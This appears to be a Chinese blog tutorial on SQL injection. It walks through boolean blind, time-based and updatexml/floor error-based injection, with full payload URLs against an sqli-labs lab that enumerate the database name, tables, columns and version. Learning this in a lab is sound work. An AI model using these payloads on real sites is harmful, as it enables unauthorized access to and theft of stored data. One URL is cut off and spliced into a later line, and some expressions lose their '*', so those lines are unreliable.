盲注
盲注 报错注入
盲注原理就是在服务器没有错误回显时完成的注入攻击。服务器没有错误回显,对于攻击者来说缺少了非常重要的信息,所以攻击者必须找到一个方法来验证注入的SQL语句是否得到了执行。
盲注的分类:1.布尔盲注: 根据注入信息返回 True 和False,根据结果判断出是否和自己输入的一致,从而猜出 完整的数据。
2.时间盲注:界面返回值只有一种结果,无论输入任何值,返回情况都会按正常的处理。我们可以加入特定的函数,通过web页面返回的时间差来判断注入语句是否正确。
总结:盲注就是构造一个判断条件来逐步的猜解完整的数据。
逻辑关系说明:(以1为真,0为假进行对比说明)
- and 两者条件都为真 则结果为真 ,例如 1 and 1=1
- or 其中一者条件为真 那么结果为真。 例如 1 or 0=1
盲注的流程:
1.判断是否有注入点。
2.猜解当前数据库名称 ,注:需要先猜解名称的长度
3.猜解数据库中的表明,注:需要先猜解名称的长度
4.猜解表中的字段名。注:需要先猜解数据的记录数,在对每个字段的长度和数据猜测。
二分法:我们先取值一个范围1-100.我们知道答案就在1-100中的一个数,我们采用二分法进行快速找到目标数值,我们第一次取值50,判断目标大于50 还是小于50 ,大于50就从50-100中间进行取值,以此类推。
python猜测数字小游戏:
import random
a = random.randint(1,100)
#print(a)
i = 0 #计数
while True:
num = int(input("请输入一个数:"))
if num == a:
i += 1
print(f"猜对了,这个数字是{a},你共猜解{i}次")
break
elif num < a:
i += 1
print("太小了")
elif num > a:
i += 1
print("太大了")
布尔盲注
length 函数的使用方法:用于在 MySQL 中计算字段的长度,一个汉字是算 3 个字符,一个数字或字
母算 1 个字符。
MariaDB [security]> select username,password from users where id=1 and length(database() = 8);
如果database()=9 会是什么结果?
在浏览器中打开:
http://192.168.59.150/sqli/Less-8/?id=1' and length(database())=8--+

我们通过构造一个判断条件( length(database()) = 8)判断目标是否满足条件,满足条件则执行成
功,不满足则执行失败。
database()是当前数据库名称
length(database())取出数据库名称的长度
< = > 分别为大于、等于、小于,用来判断是否满足条件。用来猜解。
我们已经知道数据库名称是 security 所以设定条件<=8 都可以正常登录
substr(database(),1,1) 表示取出数据库名称的第一个字符,第一个 1 表示从第几个字符开始,第
二个 1 表示取几个字符,我们猜解出一个值之后就要把第一个值+1 用来猜解第二个值。
例如:security 数据库
MariaDB [security]> select substr(database(),1,1);

MariaDB [security]> select substr(database(),2,1);
1.判断数据库长度:
-
http://192.168.59.150/sqli/Less-8/?id=1' and length(database())>5 //正常显示http://192.168.59.150/sqli/Less-8/?id=1' and length(database())>10 //不显示任何数据 http://192.168.59.150/sqli/Less-8/?id=1' and length(database())>7 //正常显示 http://192.168.59.150/sqli/Less-8/?id=1' and length(database())>8 //不显示任何数据 大于7正常显示,大于8不显示,说明大于7而不大于8,所以可知当前数据库长度为 8
2.判断当前数据库的字符
ascii(substr(database(),1,1)) >8 将取出的字符转码为 ASCII 码,后面的>8 也是用来判断 ASCII
数值的,所以最终取出的结果应该对照 ASCII 表来查找具体是哪个字符。
ASCII 表:https://baike.baidu.com/item/ASCII/309296?fr=aladdin
取值范围思路:先使用<>大于号小于号确定范围,然后一直缩小范围,当范围缩小到个位数就可以
用=号来判断具体数值。
判断数据库第一个字符
http://192.168.59.150/sqli/Less-8/?id=1' and ascii(substr(database(),1,1))>100--+//显示
http://192.168.59.150/sqli/Less-8/?id=1' and ascii(substr(database(),1,1))>120--+//不显
http://192.168.59.150/sqli/Less-8/?id=1' and ascii(substr(database(),1,1))=115--+//显示
所以ASCII码为115 对应的是s
判断数据库第一个字符
http://192.168.59.150/sqli/Less-8/?id=1' and ascii(substr(database(),2,1))>100--+//显示
http://192.168.59.150/sqli/Less-8/?id=1' and ascii(substr(database(),2,1))>101--+//不显
所以第二位ASCII码为101 对应的是e
#以此类推 得到我们的数据库名字为 security
一共有 8 位所以我们要猜 8 次,这里只是为了讲解原理,实际场景中我们使用 SQLMAP 来进行自动
3.判断当前数据库中的表
#判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4
http://192.168.59.150/sqli/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>5 #
/判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6
http://192.168.59.150/sqli/Less-8/?id=1' and length((select table_nam
//判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6
http://192.168.59.150/sqli/Less-8/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6
判断每个表的每个字符的ascii值
//判断第一个表的第一个字符的ascii值
http://192.168.59.150/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 #
//判断第一个表的第二个字符的ascii值
http://192.168.59.150/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 #
.........
由此可判断出存在表 emails、referers、uagents、userse from information_schema.tables where table_schema=database() limit 0,1))=6
基于时间的盲注(延迟注入)
基于布尔的判断是根据我们构造语句返回的True 或者 False来判断内容。
基于时间的则死使用if语句进行判断数值,不符合判断条件则执行sleep语句,从而使页面时间边长,根据响应时间来判断结果。
先到 MySQL 中测试一下:
MariaDB [security]> select * from users where id=1 and if(ascii(substr(database(),1,1))=115,1,sleep(3));
如果数据库的ascii码等于115 则 结果为1 即为真,否则就sleep3秒


再到页面中进行 SQL 注入:
http://192.168.59.150/sqli/Less-8/?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(3))--+

如果不等于115呢?为条件不成功,因此走 sleep,我们定义的是 3 秒,所以休眠了 3 秒才返回结果
http://192.168.59.150/sqli/Less-8/?id=1' and if(ascii(substr(database(),1,1))=116,1,sleep(3))--+

语句逻辑分析:当 if()中的条件满足时,则直接返回,如果不满足时,则走 sleep,页面的响应时
间根据所指定时长返回,从而可以判断注入的语句是否执行成功
基于报错的 SQL 注入
利用前提: 页面上没有显示位,但是需要输出 SQL 语句执行错误信息。比如 mysql_error()
优点: 不需要显示位
缺点: 需要输出 mysql_error( )的报错信息
updatexml报错注入
首先了解下updatexml()函数,updatexml():是mysql对xml文档数据进行查询和修改的xpath函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串) ,更多XPath 教程
https://www.runoob.com/xpath/xpath-tutorial.html
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值
而我们的注入语句为:
updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出
// 可以将 user() 改成任何我们想要查询的函数和sql语句 ,0x7e表示的是 ~ 符号
http://192.168.59.150/sqli/Less-1/?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
http://192.168.59.150/sqli/Less-1/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1)--+
http://192.168.59.150/sqli/Less-1/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' ),0x7e),1)--+
#里面的sql语句用法和我们前面学的一样
floor报错注入
原理参考:https://www.cnblogs.com/litlife/p/8472323.html
floor报错注入是利用 count()函数 、rand()函数 、floor()函数 、group by 这几个特定的函数结合在一起产生的注入漏洞。缺一不可Less-5
Floor 报错分析,该案例需要逐步分析才能够充分理解。建议同学们逐步验证结果。
// 我们可以将 database() 改成任何函数,以获取我们想要的信息。
http://192.168.59.150/sqli/Less-5/?id=1' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))as x from information_schema.tables group by x)x --+
我们可以看到我们利用 SQL 报错信息输出了我们想要的值。而这个过程是比较复杂的。我们简化一
下 SQL 语句来方便我们理解。
select count(*),(floor(rand(0)*2)) as x from table group by x;
rand()随机函数,返回 0~1 之间的某个值
floor(a)取整函数,返回小于等于 a,且值最接近 a 的一个整数
count()聚合函数也称作计数函数,返回查询对象的总数
group by clause 分组语句,按照查询结果分组
MariaDB [security]> select rand();

MariaDB [security]> select rand(0);//0理解为随机数的种子

MariaDB [xuexi]> select count(*) from users;//计数用的

select floor(rand(0)*2) from users;//它是有一定规律的

select floor(rand(0)*2)as x from books;

select count(*),bTypeId from books group by bTypeId;//以bTypeId 计数

那么为什么这几个函数放在一起会产生报错呢?
floor(rand(0)*2)固定返回数值 0或者1…函数本身并没有错误。
接下来使用 count+group by 的时候就存在问题了。我们知道 count 用来计数,group by 用来分
组,此时分组的过程中会建立一张虚拟表,如果分组时如果值不存在则插入 key,count 计数器+1,如
果值存在 count 计数器直接+1
第一次查询:floor(rand(0)2)=011011…
查询第一条数据肯定是不存在的,所以直接插入临时表,key=0,count=1(此时
floor(rand(0)2)第一次计算)当插入临时表时 floor(rand(0)2)会被重新计算
(其实mysql官方有给过提示,如果虚表不存在记录,插入虚表的时候会再被执行一次)
所以查询第一条数据最
终的结果是 key=1,count=1(此时 floor(rand(0)2)第二次计算)流程如下:

第二次查询:floor(rand(0)*2)=011011…
此时我们是第三次计算,所以 key=1 已经存在,所以 count+1=2。

第三次查询:floor(rand(0)2)=011011…
第四次计算 key=0,表中不存在 0 的主键,所以插入数据,插入数据时 floor(rand(0)2)重新计算
则插入的 key=1,则发生主键冲突。

此时就会抛出主键冗余的异常,也就是所谓的floor报错。

本篇文章主要来学习sql注入中的盲注
浙公网安备 33010602011771号